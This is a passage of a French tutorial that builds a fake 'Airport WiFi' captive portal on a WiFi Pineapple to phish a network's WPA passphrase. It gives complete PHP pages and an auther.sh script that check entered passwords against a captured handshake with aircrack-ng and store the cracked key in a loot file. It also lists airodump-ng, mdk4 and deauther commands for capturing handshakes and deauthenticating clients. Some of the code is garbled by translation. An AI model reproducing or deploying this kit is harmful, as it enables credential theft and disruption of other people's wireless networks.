echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>' ; - Ceci utilise echo pour produire un élément HTML Paragraph concaténant la valeur de ACLMessage. Qui, si vous vous en souvenez, affiche "Added : CLIENT-MAC to ACL Allowed List." (Ajout de CLIENT-MAC à la liste autorisée de l'ACL).

Remplacer par le code suivant :

                       <h3 class="card-title text-center">Correct Passphrase!</h3> <p class="text-center small">La phrase de passe que vous avez saisie correspond à celle du point d'accès sans fil. Il se peut que vous perdiez temporairement la connexion, ne vous inquiétez pas, vous serez à nouveau connecté automatiquement.</p> <p class="text-center small">Vous pouvez maintenant fermer cette page et continuer comme d'habitude.</p> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS : INFO_AUTH_SUCCESS </p> < ?php if (isset($ACLMessage)) { echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>' ; } ?>

Correct.php Résultat :

Vous devriez maintenant avoir une page correct.php ressemblant à ceci :

<?php $destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "" ; require_once('helper.php') ; header("Cache-Control : no-store, no-cache, must-revalidate") ; header("Pragma : no-cache") ; header("Expires : 0") ; $essid = "Airport WiFi 6" ; $rueayFilePath = '/tmp/airport_rueay.txt' ; $aclAllowFilePath = '/tmp/airport_aclallow.txt' ; // Vérifie si true est trouvé dans le fichier airport_rueay.txt et si le referer est checking.php if ( file_exists($rueayFilePath) && strpos(file_get_contents($rueayFilePath), 'true') !== false && isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false ) { // Continue avec le comportement normal // Vérifie si true est trouvé dans le fichier et génère un message if ( file_exists($aclAllowFilePath) && strpos(file_get_contents($aclAllowFilePath), 'true') !== false ) { $ACLMessage = 'Added : ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' to ACL Allowed List.' ; } } else { // Redirection vers checking.php si les conditions ne sont pas remplies header("Location : /checking.php") ; exit() ; } ?> < !DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/fr/style.css"> <script type="text/javascript" src="/func.js"></script> <script type="text/javascript"> var destinationValue = "<?php $destination ; ?>" ; function auth_success(targetValue) { var xhr = new XMLHttpRequest() ; var url = "/captiveportal/index.php" ; var params = "target=" + encodeURIComponent(targetValue) ; xhr.open("POST", url, true) ; xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") ; xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { console.log(xhr.responseText) ; } } ; xhr.send(params) ; } auth_success(destinationValue) ; // Appeler auth_success avec la valeur initiale </script> <title>< ?= $essid ?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg")div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <h3 class="card-title text-center">Correct Passphrase !</h3> <p class="text-center small">La phrase de passe que vous avez saisie correspond à celle du point d'accès sans fil. Il se peut que vous perdiez temporairement la connexion, ne vous inquiétez pas, vous serez à nouveau connecté automatiquement.</p> <p class="text-center small">Vous pouvez maintenant fermer cette page et continuer comme d'habitude.</p> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS : INFO_AUTH_SUCCESS </p> < ?php if (isset($ACLMessage)) { echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>' ; } ?> </div> </div> </div> </div> </div> </corps> </html>

Création de run_test.php

Comme toujours, je ne veux pas que les pages soient mises en cache, de sorte que si nous modifions le contenu, c'est la plus récente qui sera utilisée. Vous pouvez également utiliser le cache-busting pour vous assurer que la dernière version vous est servie lorsque vous construisez/testez.

Je vais décomposer le code ligne par ligne :

<?php - Le début de notre code php.

// run_test.php - C'est juste un commentaire dans les scripts PHP.

header("Cache-Control : no-store, no-cache, must-revalidate") ; - Nous définissons ici l'en-tête Cache-Control de la même manière que dans notre code précédent, avec les directives no-store, no-cache et must-revalidate.

header("Pragma : no-cache") ; - Comme précédemment, nous définissons l'en-tête Pragma avec la directive no-cache pour les anciens caches HTTP/1.0.

header("Expires : 0") ; - Comme précédemment, nous définissons l'en-tête Expires avec 0, ce qui signifie que le contenu est déjà expiré.

<?php // run_test.php // Définir les en-têtes de contrôle du cache header("Cache-Control : no-store, no-cache, must-revalidate") ; header("Pragma : no-cache") ; header("Expires : 0") ;

if (isset($_POST['password'])){ - Ici, nous utilisons l'instruction if avec isset pour vérifier que la requête POST contient le paramètre password et qu'il n'est pas nul.

$password = $_POST['password'] ; - Cela crée une nouvelle variable appelée password et renvoie la valeur de la requête POST en tant que valeur de la variable password.

$filePath = '/tmp/airport_attempt_tmp.txt' ; - Nous définissons ensuite une nouvelle variable filePath qui pointe vers notre fichier de tentative.

file_put_contents($filePath, $password . PHP_EOL, LOCK_EX) ; - Nous utilisons ensuite "file_put_contents" pour écrire dans "filePath" avec la valeur de "password" et ensuite concaténer "." en utilisant PHP_EOL avec LOCK_EX qui verrouille exclusivement le fichier pendant l'écriture.

$command = 'bash auther.sh' ; - Nous définissons ensuite une nouvelle variable "command" qui sera utilisée pour exécuter notre script bash afin de réaliser la commande aircrack avec quelques vérifications supplémentaires.

$descriptors = [ - Nous définissons ensuite une nouvelle variable "descriptors".

0 => ['pipe', 'r'], // stdin - Ici, nous configurons les descripteurs de fichiers pour proc_open en utilisant un opérateur pour créer un "pipe" que le processus enfant utilisera et nous utilisons "r" pour passer l'extrémité de lecture du pipe au processus.

1 => ['pipe', 'w'], // stdout - Comme ci-dessus, nous faisons la même chose pour la sortie standard.

2 => ['pipe', 'w'], // stderr - Similaire à ce qui précède, nous faisons de même pour l'erreur standard.

// Récupérer le mot de passe du formulaire if (isset($_POST['password'])) { $password = $_POST['password'] ; // Remplacez le contenu du fichier par le nouveau mot de passe $filePath = '/tmp/airport_attempt_tmp.txt' ; file_put_contents($filePath, $password . PHP_EOL, LOCK_EX) ; // LOCK_EX assure un verrouillage exclusif // Commande pour exécuter votre script bash local $command = 'bash auther.sh' ; // Spécifiez les tuyaux pour stdin, stdout et stderr $descriptors = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'], // stderr ] ;

$process = proc_open($command, $descriptors, $pipes) ; - Nous définissons ici une nouvelle variable "process" et utilisons proc_open avec la "commande" que nous voulons exécuter. Les descripteurs (descriptor_spec) que nous avons définis avec les "pipes" signifient qu'ils seront définis comme un tableau indexé de pointeurs de fichiers (les descripteurs).

if (is_resource($process)) { - Nous utilisons ensuite is_resource pour vérifier qu'une variable est une ressource. Cela signifie qu'il vérifie que le processus de la variable a été ouvert avec succès.

fclose($pipes[0]) ; - Nous utilisons ensuite fclose pour fermer le pointeur de fichier pour 0 (stdin) car aucune entrée n'est utilisée.

$output = stream_get_contents($pipes[1]) ; - Nous utilisons ensuite stream_get_contents pour lire le reste d'un flux dans une chaîne de caractères pour le flux de tuyaux 1 (stdout).

fclose($pipes[1]) ; - Nous fermons ensuite la sortie standard des tuyaux restants.

fclose($pipes[2]) ; - Nous fermons ensuite le tuyau d'erreur standard.

$returnValue = proc_close($process) ; - Nous définissons ensuite une nouvelle variable returnValue qui utilise proc_close pour fermer le processus et renvoyer le code de sortie de ce processus dans la variable.

echo " " ; - Nous affichons une ligne vide ici pour nous assurer qu'aucune sortie n'est donnée dans le journal de la console. Cette première instruction echo sert à afficher une réponse réussie du script.

else { - Cette instruction else, si la première condition est fausse, signifie que le processus n'a pas réussi à s'ouvrir.

echo " " ; - Nous utilisons ici une autre instruction echo pour afficher un message si le processus n'a pas réussi à s'ouvrir. Encore une fois, ce message est laissé vide (j'ai utilisé un simple espace pour le couper plus tard dans la fonction run_test afin de m'assurer qu'aucune sortie réelle n'est donnée, y compris "chaîne vide").

else { - Cette instruction else se déclenchera si aucun mot de passe n'a été trouvé dans le corps du formulaire.

echo " " ; - Le message echo que nous pourrions utiliser pour afficher un message sur la console si le mot de passe n'a pas été trouvé dans la demande de formulaire.

> - Il s'agit de la balise de fermeture d'un bloc de code PHP.

   // Ouvrir le processus $process = proc_open($command, $descriptors, $pipes) ; if (is_resource($process)) { // Fermer stdin (pas d'entrée) fclose($pipes[0]) ; // Lire la sortie du processus $output = stream_get_contents($pipes[1]) ; // Fermer les pipes fclose($pipes[1]) ;
        fclose($pipes[2]) ; // Ferme le processus $returnValue = proc_close($process) ; // Affiche un message de réponse echo " " ; } else { // Échec de l'ouverture du processus echo " " ; } } else { // Mot de passe non reçu du formulaire echo " " ; } ?>

Résultat de run_test.php :

Voici le résultat final de runTest.php

<?php // run_test.php // Définition des en-têtes de contrôle du cache header("Cache-Control : no-store, no-cache, must-revalidate") ; header("Pragma : no-cache") ; header("Expires : 0") ; // Obtention du mot de passe à partir du formulaire if (isset($_POST['password'])) { $password = $_POST['password'] ; // Remplace le contenu du fichier par le nouveau mot de passe $filePath = '/tmp/airport_attempt_tmp.txt' ; file_put_contents($filePath, $password . PHP_EOL, LOCK_EX) ; // LOCK_EX assure un verrouillage exclusif // Commande pour exécuter votre script bash local $command = 'bash auther.sh' ; // Spécifiez les tuyaux pour stdin, stdout et stderr $descriptors = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'], // stderr ] ; // Ouvrir le processus $process = proc_open($command, $descriptors, $pipes) ; if (is_resource($process)) { // Fermer stdin (pas d'entrée) fclose($pipes[0]) ;

        // Lire la sortie du processus $output = stream_get_contents($pipes[1]) ; // Fermer les tuyaux fclose($pipes[1]) ; fclose($pipes[2]) ; // Fermer le processus $returnValue = proc_close($process) ; // Afficher un message de réponse echo " " ; } else { // Échec de l'ouverture du processus echo " " ; } } else { // Mot de passe non reçu du formulaire echo " " ; } ?>

Créer auther.sh

C'est le script qui est responsable du craquage et de la suppression des séquences d'échappement ANSI qu'aircrack semble produire lorsqu'il utilise l'opérateur de redirection >.

Je vais également détailler ce qui se passe ici :

#!/bin/bash - C'est ce qu'on appelle un shebang, il pointe essentiellement vers l'interpréteur que nous voulons utiliser lorsque nous exécutons le script (dans notre cas, nous voulons exécuter bash qui est Borne Again Shell).

BSSID= - Il s'agit d'une variable bash que nous utilisons pour définir notre "BSSID" cible qui sera transmis à la commande aircrack.

CAP_LOC="/root/demo.cap" - Nous définissons ensuite une nouvelle variable "CAP_LOC" pour le fichier de capture de la poignée de main airodump-ng.

TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" - Nous définissons ici une nouvelle variable "TEMP_ATTEMPT" qui contient le chemin vers notre fichier de tentative, où le mot de passe actuellement saisi par l'utilisateur sera stocké et transmis à aircrack.

TEMP_CREDS="/tmp/airport_creds_tmp.txt" - Nous définissons ici une autre variable "TEMP_CREDS" qui est utilisée pour sortir le mot de passe correct, dans le cas où le mot de passe est craqué avec succès, la clé trouvée avec le mot de passe sera stockée ici.

LOOT_FILE="/root/airport_loot.txt" - Nous définissons ici une autre variable "LOOT_FILE" qui est l'endroit où nous voulons que le mot de passe craqué soit déplacé, afin qu'il ne soit pas écrasé si l'utilisateur clique à nouveau et entre un nouveau, mais mauvais mot de passe.

#!/bin/bash BSSID="00:1E:2A:BE:EF:00" # Ajustez ceci à votre cible CAP_LOC="/root/demo.cap" # pointez vers votre fichier cap TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" # Liste de mots en entrée TEMP_CREDS="/tmp/airport_creds_tmp.txt" # Fichier de butin tmp pour éviter que le butin ne soit écrasé LOOT_FILE="/root/airport_loot.txt" # Fichier de butin avec le mot de passe craqué

Ensuite, je vais décomposer ce qui se passe avec la commande aircrack pour que vous puissiez comprendre un peu mieux.

aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}""${CAP_LOC}" - Ici, nous exécutons aircrack avec l'option -a 2, ce qui signifie que nous craquons une phrase de passe WPA-PSK. Nous utilisons -b ${BSSID} pour spécifier le BSSID que nous voulons cibler et passer notre valeur de variable ici. Nous utilisons ensuite le drapeau -w qui est la liste de mots à utiliser avec les valeurs "${TEMP_ATTEMPT}" "${CAP_LOC}", qui pointe vers nos variables contenant le fichier de tentative et l'emplacement de la capture.

| - C'est ce qu'on appelle un pipeline, qui nous permet de prendre le résultat de la première commande et de le passer à une autre commande. Dans notre cas, nous passons le résultat de la commande aircrack à grep.

grep -m 1 "KEY FOUND !"| - Nous utilisons ensuite grep pour trouver et arrêter la première occurrence en utilisant "-m 1" avec le mot suivant "KEY FOUND !", qui, si le crack a réussi, se trouvera dans le fichier de sortie. Nous envoyons ensuite la sortie de la commande grep à l'aide d'un tuyau.

sed -E "s/\x1B\[([0-9]{1,2}( ;[0-9]{1,2})*) ?[mGKFH]//g" > "${TEMP_CREDS}" - Nous utilisons ici sed avec l'option "-E" pour une expression régulière.

Je vais maintenant décomposer cette expression régulière :

s/ - Cela indique une opération de recherche et de remplacement dans sed.

\x1B - Ceci correspond à un code d'échappement ANSI en hexadécimal.

\[ - Ceci correspond à la chaîne littérale "[".

(..) ? - Cette fonction regroupe un groupe de motifs.

[0-9]{1,2} - Correspond à un ou deux chiffres.

( ;[0-9]{1,2})* - Correspond à zéro ou plusieurs occurrences d'un point-virgule suivi d'un ou deux chiffres.

[mGKFH] - Correspond à un seul caractère de l'ensemble des caractères indiqués ici (mGKFH).

// - Il s'agit d'un délimiteur utilisé pour séparer les composants de la commande de substitution sed.

g - Ce drapeau signifie global, ce qui indique à send d'effectuer la substitution dans chaque ligne du texte d'entrée (une seule ligne dans notre cas). (Une seule ligne dans notre cas).

Ensemble, ces éléments éliminent parfaitement les caractères ANSI non désirés de la sortie KEY FOUND, pour une sortie plus propre et plus lisible.

La partie finale de la commande sed :

> "${TEMP_CREDS}" - Utilise l'opérateur de redirection pour écraser le contenu du fichier "TEMP_CREDS" avec les résultats de la commande sed.

# Exécutez aircrack-ng et stockez le résultat dans le fichier temporaire aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}" "${CAP_LOC}" | grep -m 1 "KEY FOUND !" | sed -E "s/\x1B\[([0-9]{1,2}( ;[0-9]{1,2})*) ?[mGKFH]//g" > "${TEMP_CREDS}"

if grep -q "KEY FOUND !""${TEMP_CREDS}" ; then - Nous utilisons ensuite une instruction if avec l'option "grep -q", qui signifie "quiet" (ne pas écrire sur la sortie standard). Nous recherchons les mots "KEY FOUND !" dans le fichier /tmp/airport_creds_tmp.txt si nous les trouvons, nous continuons.

cp "${TEMP_CREDS}""${FILE_LOOT}" - Si ce qui précède est vrai, le fichier du mot de passe craqué sera copié dans /root/airport_loot.txt pour être conservé en toute sécurité.

else - Ici, nous utilisons une instruction else, donc si ce qui précède est faux, nous exécutons la commande suivante.

exit 1 - Dans notre cas, nous allons simplement quitter le script avec un code d'état de 1, ce qui indiquerait une erreur ou un échec.

fi - Nous utilisons cette commande pour terminer l'instruction if.

# Vérifier si le mot de passe est correct if grep -q "KEY FOUND !" "${TEMP_CREDS}" ; then cp "${TEMP_CREDS}" "${FILE_LOOT}"  # Copier le fichier temporaire à l'emplacement final else exit 1 # Ne rien faire d'autre si le mot de passe n'est pas trouvé. fi

Nous devrions alors avoir un fichier qui ressemble au résultat ci-dessous.

auther.sh Résultat :

#!/bin/bash BSSID="00:1E:2A:BE:EF:00" # Ajustez ceci à votre cible CAP_LOC="/root/demo.cap" # pointez vers votre fichier cap TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" # Liste de mots en entrée TEMP_CREDS="/tmp/airport_creds_tmp.txt" # tmp loot file to avoid loot being overwritten LOOT_FILE="/root/airport_loot.txt" # Loot file with cracked password # Run aircrack-ng and store the result in the temporary file aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}" "${CAP_LOC}" | grep -m 1 "KEY FOUND !" | sed -E "s/\x1B\[([0-9]{1,2}( ;[0-9]{1,2})*) ?[mGKFH]//g" > "${TEMP_CREDS}" # Vérifier si le mot de passe est correct if grep -q "KEY FOUND !" "${TEMP_CREDS}" ; then cp "${TEMP_CREDS}" "${FILE_LOOT}"  # Copier le fichier temporaire à l'emplacement final else exit 1 # Ne rien faire d'autre si le mot de passe n'est pas trouvé. fi

NOTE : Il est absolument nécessaire de changer le "BSSID" dans ce script par le BSSID de votre cible, car c'est ce qu'aircrack cherchera dans le fichier .cap.

Nous pouvons ignorer le "CAP_LOC" pour l'instant, mais souvenez-vous en car nous aurons besoin de revenir et de changer l'emplacement si vous l'avez stocké ailleurs ou si vous lui donnez un nom différent.

Création de Checking.php

Nous allons créer le fichier checking.php. Celui-ci sera responsable de trois choses :

  1. Vérifier que le fichier creds existe.
  2. Vérifier la valeur de rueay.
  3. Vérifier la valeur de aclallow.

Comme précédemment, nous allons décomposer ce qui se passe :

<?php - Comme précédemment, nous commençons notre bloc de code PHP.

header("Cache-Control : no-store, no-cache, must-revalidate") ; - De la même manière que nous l'avons fait précédemment, nous définissons les en-têtes de contrôle du cache.

header("Pragma : no-cache") ; - Nous définissons ici l'en-tête Pragma pour les caches plus anciens.

header("Expires : 0") ; - Nous définissons ici l'en-tête Expires avec une valeur de 0.

filePath= '/tmp/airport_creds_tmp.txt' ; - Nous définissons ensuite une nouvelle variable filePath dont la valeur est le chemin de nos fichiers de credos.

$rueayPath = '/tmp/airport_rueay.txt' ; - De manière similaire à ce qui précède, nous définissons le chemin pour la variable rueayPath.

$aclAllowPath = '/tmp/airport_aclallow.txt' ; - Nous définissons ici la variable aclAllowPath qui pointe vers notre fichier airport_aclallow.txt qui contiendra la valeur "true" si l'utilisateur a coché la case dans default.php.

if (file_exists($filePath)) { - Nous utilisons ensuite une instruction if avec file_exists pour vérifier que le chemin de fichier existe.

$fileHandle = fopen($filePath, 'r') ; - Si la déclaration ci-dessus est vraie, nous définissons une nouvelle variable fileHandle qui utilise fopen pour ouvrir le "filePath" en mode 'r', c'est-à-dire en lecture seule.

if ($fileHandle !== false) { - Nous effectuons ensuite une instruction if pour vérifier que la valeur de "fileHandle" (notre fichier ouvert) n'est pas égale à false, si c'est le cas, nous exécutons le code suivant.

echo '<div style="text-align : center ; margin-top : 20vh ; font-size : 30px ;">AUTHORIZING, PLEASE WAIT...</div>' ; - Si l'instruction ci-dessus n'est pas égale à false, alors nous "echo" un élément "div" à la page avec les styles text-align :, center ;, margin-top : 20vh ; et font-size : 30px avec le message "Authorizing, Please Wait".

<?php // Définir les en-têtes de contrôle du cache header("Cache-Control : no-store, no-cache, must-revalidate") ; header("Pragma : no-cache") ; header("Expires : 0") ; $filePath = '/tmp/airport_creds_tmp.txt' ; $rueayPath = '/tmp/airport_rueay.txt' ; $aclAllowPath = '/tmp/airport_aclallow.txt' ; // Vérifier si le fichier existe if (file_exists($filePath)) { // Essayer d'ouvrir le fichier $fileHandle = fopen($filePath, 'r') ; if ($fileHandle !== false) { // Affiche "AUTHORIZING, PLEASE WAIT..." au centre de l'écran echo '<div style="text-align : center ; margin-top : 20vh ; font-size : 30px ;">AUTHORIZING, PLEASE WAIT...</div>' ;

$ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1' ; - Nous définissons ensuite une nouvelle variable ACLAllowTrue qui utilise isset pour vérifier que la requête GET effectuée contient le paramètre URL "ACLAllow" et que le paramètre est strictement égal à 1, puis nous continuons.

if ($ACLAllowTrue) { - Nous utilisons ensuite une autre instruction if pour vérifier que ACLAllowTrue a une valeur vraie, si c'est le cas, nous continuons.

file_put_contents($aclAllowPath, "true\n") ; - Si l'instruction if ci-dessus est vraie, nous utilisons alors file_put_contents pour sélectionner le chemin de fichier dans lequel écrire, qui est aclAllowPath, et écrire le contenu "true" avec une nouvelle ligne \n dans le fichier.

} else { - Voici l'instruction else à utiliser si l'instruction ci-dessus est fausse.

file_put_contents($aclAllowPath, '') ; - Si ce qui précède est faux, nous faisons la même chose, sauf que nous n'écrivons aucune donnée dans le fichier.

while (($line = fgets($fileHandle)) !== false) { - Nous utilisons alors une boucle while et définissons une variable appelée "line" qui utilise fgets pour obtenir une ligne de la ressource "fileHandle" qui est ouverte.

if (preg_match('/KEY\s*FOUND/', $line, $matches)) { - Nous utilisons ensuite une autre instruction if utilisant preg_match pour effectuer une recherche regex pour /KEY\s*FOUND/ du sujet "line" qui est ensuite stocké dans "matches" qui est rempli avec les résultats de la recherche preg_match.

file_put_contents($rueayPath, "true\n") ; - Nous utilisons ensuite, comme ci-dessus, file_put_contents pour écrire dans le fichier à reuayPath le contenu de true\n.

echo '<script>' ; - Nous commençons alors à envoyer un extrait de JavaScript pour gérer la redirection.

echo 'setTimeout(function() {' ; - Nous affichons ici la fonction setTimeout.

echo ' window.location.href="/fr/correct.php";' ; - Nous utilisons ici window.location.href pour rediriger l'utilisateur vers /correct.php (parce que si toutes les conditions ci-dessus sont remplies, l'utilisateur devrait être autorisé à visiter la page correct.php).

echo '}, 1000);' ; - Nous affichons ensuite le minuteur du script.

echo '</script>' ; - Nous affichons ensuite le reste de la balise de fermeture du script.

fclose($fileHandle) ; - Nous utilisons ensuite fclose pour fermer le pointeur de fichier "fileHandle".

exit(); - Nous quittons le script en cours après la redirection.

       // Vérifier si ACLAllow est vérifié $ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1' ; if ($ACLAllowTrue) { // Écrire "true" dans un nouveau fichier_put_contents($aclAllowPath, "true\n") ;
        } else { // Si ACLAllow n'est pas vérifié, remplacer le fichier par une chaîne vide file_put_contents($aclAllowPath, '') ; } // Essayer de lire le fichier ligne par ligne while (($line = fgets($fileHandle)) !== false) { // Utilise une expression rationnelle plus permissive pour capturer "KEY FOUND !" et ignorer le reste if (preg_match('/KEY\s*FOUND/', $line, $matches)) { file_put_contents($rueayPath, "true\n") ; echo '<script>' ; echo 'setTimeout(function() {' ; echo ' window.location.href="/fr/correct.php";' ; echo '}, 1000);' ; // 1000 millisecondes (1 seconde) de délai echo '</script>' ; fclose($fileHandle) ; exit() ; // Quitte le script après la redirection } } }

fclose($fileHandle) ; - Ici, nous fermons à nouveau le pointeur de fichier si la boucle while est égale à false.

file_put_contents($rueayPath, "false\n") ; - Nous utilisons ensuite file_put_contents pour écrire false\n dans le "rueauPath". Cela signifie qu'un mauvais mot de passe a été saisi et que l'utilisateur n'est pas autorisé à consulter correct.php.

echo '<script>' ; - Nous voulons ensuite, comme ci-dessus, envoyer le même script mais en ajustant la page que nous voulons que l'utilisateur visite. Dans notre cas, si la boucle while est égale à false, nous envoyons l'utilisateur à la page incorrect.php.

echo 'setTimeout(function() {' ; - Une fois de plus, nous affichons la fonction setTimeout.

echo ' window.location.href="/fr/incorrect.php";' ; - Comme précédemment, nous renvoyons le window.location.href vers la page /incorrect.php.

echo '}, 1000);' ; - Ici, nous affichons le minuteur.

echo '</script>' ; - Et enfin, nous terminons par l'affichage de la balise de fermeture du script.

else { - Nous utilisons ensuite l'instruction else pour afficher des messages d'erreur si le fileHandle est égal à false.

echo 'Erreur d'ouverture du fichier : ' . $filePath ; - Nous affichons un message d'erreur pour l'ouverture du fichier avec la valeur concaténée de filePath si l'instruction if pour fileHandle est effectivement égale à false.

else { - Nous utilisons ensuite une autre instruction else si le fichier n'est pas trouvé du tout.

echo 'File not found : ' . $filePath ; - Ici, nous affichons "File not found", si le fichier ne peut pas être trouvé avec la valeur concaténée de "filePath".

       // Fermez la poignée du fichier fclose($fileHandle) ; // Si "KEY FOUND !" n'a été trouvé dans aucune ligne file_put_contents($rueayPath, "false\n") ; echo '<script>' ; echo 'setTimeout(function() {' ; echo ' window.location.href="/fr/incorrect.php";' ; echo '}, 1000);' ; // 1000 millisecondes (1 seconde) de délai echo '</script>' ; } else { // Erreur lors de l'ouverture du fichier echo 'Erreur lors de l'ouverture du fichier : ' . $filePath ; } } else { // Le fichier n'existe pas echo 'File not found : ' . $filePath ; } ?>

Nous devrions alors obtenir une page Checking.php qui ressemble à ce qui suit.

Résultat de Checking.php :

Vous trouverez ci-dessous le résultat final de Checking.php

<?php // Définir les en-têtes de contrôle du cache header("Cache-Control : no-store, no-cache, must-revalidate") ; header("Pragma : no-cache") ; header("Expires : 0") ; $filePath = '/tmp/airport_creds_tmp.txt' ; $rueayPath = '/tmp/airport_rueay.txt' ; $aclAllowPath = '/tmp/airport_aclallow.txt' ; // Vérifier si le fichier existe if (file_exists($filePath)) { // Essayer d'ouvrir le fichier $fileHandle = fopen($filePath, 'r') ; if ($fileHandle !== false) { // Affiche "AUTHORIZING, PLEASE WAIT..." au centre de l'écran echo '<div style="text-align : center ; margin-top : 20vh ; font-size : 30px ;">AUTHORISATION, VEUILLEZ ATTENDRE...</div>' ; // Vérifier si ACLAllow est coché $ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1' ; if ($ACLAllowTrue) { // Ecrire "true" dans un nouveau fichier file_put_contents($aclAllowPath, "true\n") ;
        } else { // Si ACLAllow n'est pas vérifié, remplacer le fichier par une chaîne vide file_put_contents($aclAllowPath, '') ; } // Essayer de lire le fichier ligne par ligne while (($line = fgets($fileHandle)) !== false) { // Utilise une expression rationnelle plus permissive pour capturer "KEY FOUND !" et ignore le reste if (preg_match('/KEY\s*FOUND/', $line, $matches)) { file_put_contents($rueayPath, "true\n") ; echo '<script>' ; echo 'setTimeout(function() {' ; echo ' window.location.href="/fr/correct.php";' ; echo '}, 1000);' ; // 1000 millisecondes (1 seconde) de délai echo '</script>' ; fclose($fileHandle) ; exit() ; // Quitte le script après la redirection } } // Ferme la poignée du fichier fclose($fileHandle) ; // Si "KEY FOUND !" n'a été trouvé dans aucune ligne file_put_contents($rueayPath, "false\n") ; echo '<script>' ; echo 'setTimeout(function() {' ; echo ' window.location.href="/fr/incorrect.php";' ; echo '}, 1000);' ; // 1000 millisecondes (1 seconde) de délai echo '</script>' ; } else { // Erreur d'ouverture du fichier echo 'Erreur d'ouverture du fichier : ' . $filePath ; } } else { // Le fichier n'existe pas echo 'File not found : ' . $filePath ; } ?>

Un aperçu visuel

  1. Default.php

1  Default php

  1. Vérification.php

Checking

  1. Incorrect.php

Incorrect

  1. Défaut avec popover

4  Default popover

  1. Correct.php avec ACLMessage

Correct with ACLMessage

  1. Correct.php sans ACLMessage

6  Correct php without ACLMessage

  1. Notification du portail visité :

Portal Visit

  1. Mot de passe du portail Notification :

Password Capture

  1. Journaux pour l'aéroport :

Logs

La poignée de main à 4 voies de finition.

Avant de commencer, j'aimerais mentionner que j'ai deux interfaces à utiliser ici (MK7 wlan1 + MK7AC wlan3) donc j'en utiliserai une pour capturer et une pour désauthentifier. Si vous n'avez pas cette configuration, vous pouvez simplement écouter et désauthentifier en utilisant la même interface, ce sera un peu moins efficace mais cela devrait quand même fonctionner. J'ai également inclus un fichier demo.cap avec le mot de passe pineapplesareyummy pour que vous puissiez tester le portail captif.

NOTE : Vous aurez peut-être besoin d'un "écran" ou de deux terminaux ouverts si vous utilisez la méthode 2 afin de pouvoir écouter avec airodump et désauthentifier le client avec mdk4.

Il est également préférable d'utiliser airodump-ng pour capturer la poignée de main car j'ai remarqué que la plupart du temps, lors de l'utilisation de l'interface WebUI, le MK7, même avec un pcap "complet", manquait en fait 1 ou 2 clés ou avait capturé les clés sur deux canaux différents qui sont proches l'un de l'autre (3 et 4). Le minimum requis par aircrack-ng est 1 beacon frame ou probe response packet contenant les clés SSID + EAPOL packet 1 à 4.

Contenu du fichier demo.cap :

10  Aircrack required packets

Si vous avez plusieurs paquets EAPOL retransmis, sélectionnez le tout premier paquet EAPOL, comme le montre l'image ci-dessous. Dans notre exemple, nous avons plusieurs retransmissions de la clé "3 sur 4". La sélection du tout premier paquet "3 sur 4" sera donc le paquet initial transmis.

11  Wireshark Key Order

L'interface WebUI est le moyen le plus simple de trouver un client et de le désauthentifier, mais bien sûr, si vous avez une méthode préférée de désauthentification, c'est tout à fait possible. Assurez-vous simplement qu'elle est réalisée avec mdk4 ou deauther.

Méthode 1 : WebUI

Commençons par trouver un client à désauthentifier :

  1. Dans l'interface Web, cliquez sur l'onglet Recon.
  2. Réglez la durée de l'analyse sur 5 minutes.
  3. Lancez le scan et laissez la liste se remplir.

NOTE : Si vous ne voyez toujours pas de client après les 5 premières minutes, vérifiez que votre client utilise la bande sans fil 2.4GHz. Si c'est le cas, augmentez la durée du balayage à 10 minutes.

  1. Une fois que nous avons le BSSID du client cible, connectez-vous en SSH à votre Pineapple et lancez miniairo ou airodump-ng :

airodump-ng :airodump-ng --bssid BSSID --channel CHANNEL --write psk <interface>.

miniairo :./miniairo -i <interface> -b BSSID -T 120 -c CHANNEL -W psk.

  1. Maintenant, dans le terminal WebUI, lancez deauther, airedeauth ou MDK4 :

mdk4 :mdk4 wlan1mon -S CLIENT_BSSID -c CHAN.

deauther :./deauther -i wlan1mon -s STA_BSSID -c CHAN -d 5 -w 1 -r 1 -p 1.

airedeauth :./airedeauth -i wlan1mon -a AP_BSSID -s STA_BSSID -c CHAN.

  1. Une fois que le message "WPA Handshake" apparaît, laissez-le s'exécuter pendant quelques secondes, puis appuyez sur "CTRL+C". (Le drapeau "-T 120" dans miniairo quittera le script après 2 minutes, ce qui devrait être suffisant, mais augmentez ce délai si nécessaire).
  2. Vérifiez maintenant que la poignée de main contient suffisamment de paquets de capture, y compris les paquets EAPOL, pour effectuer un craquage réussi.

Méthode 2 : CLI pure

nécessite :screen

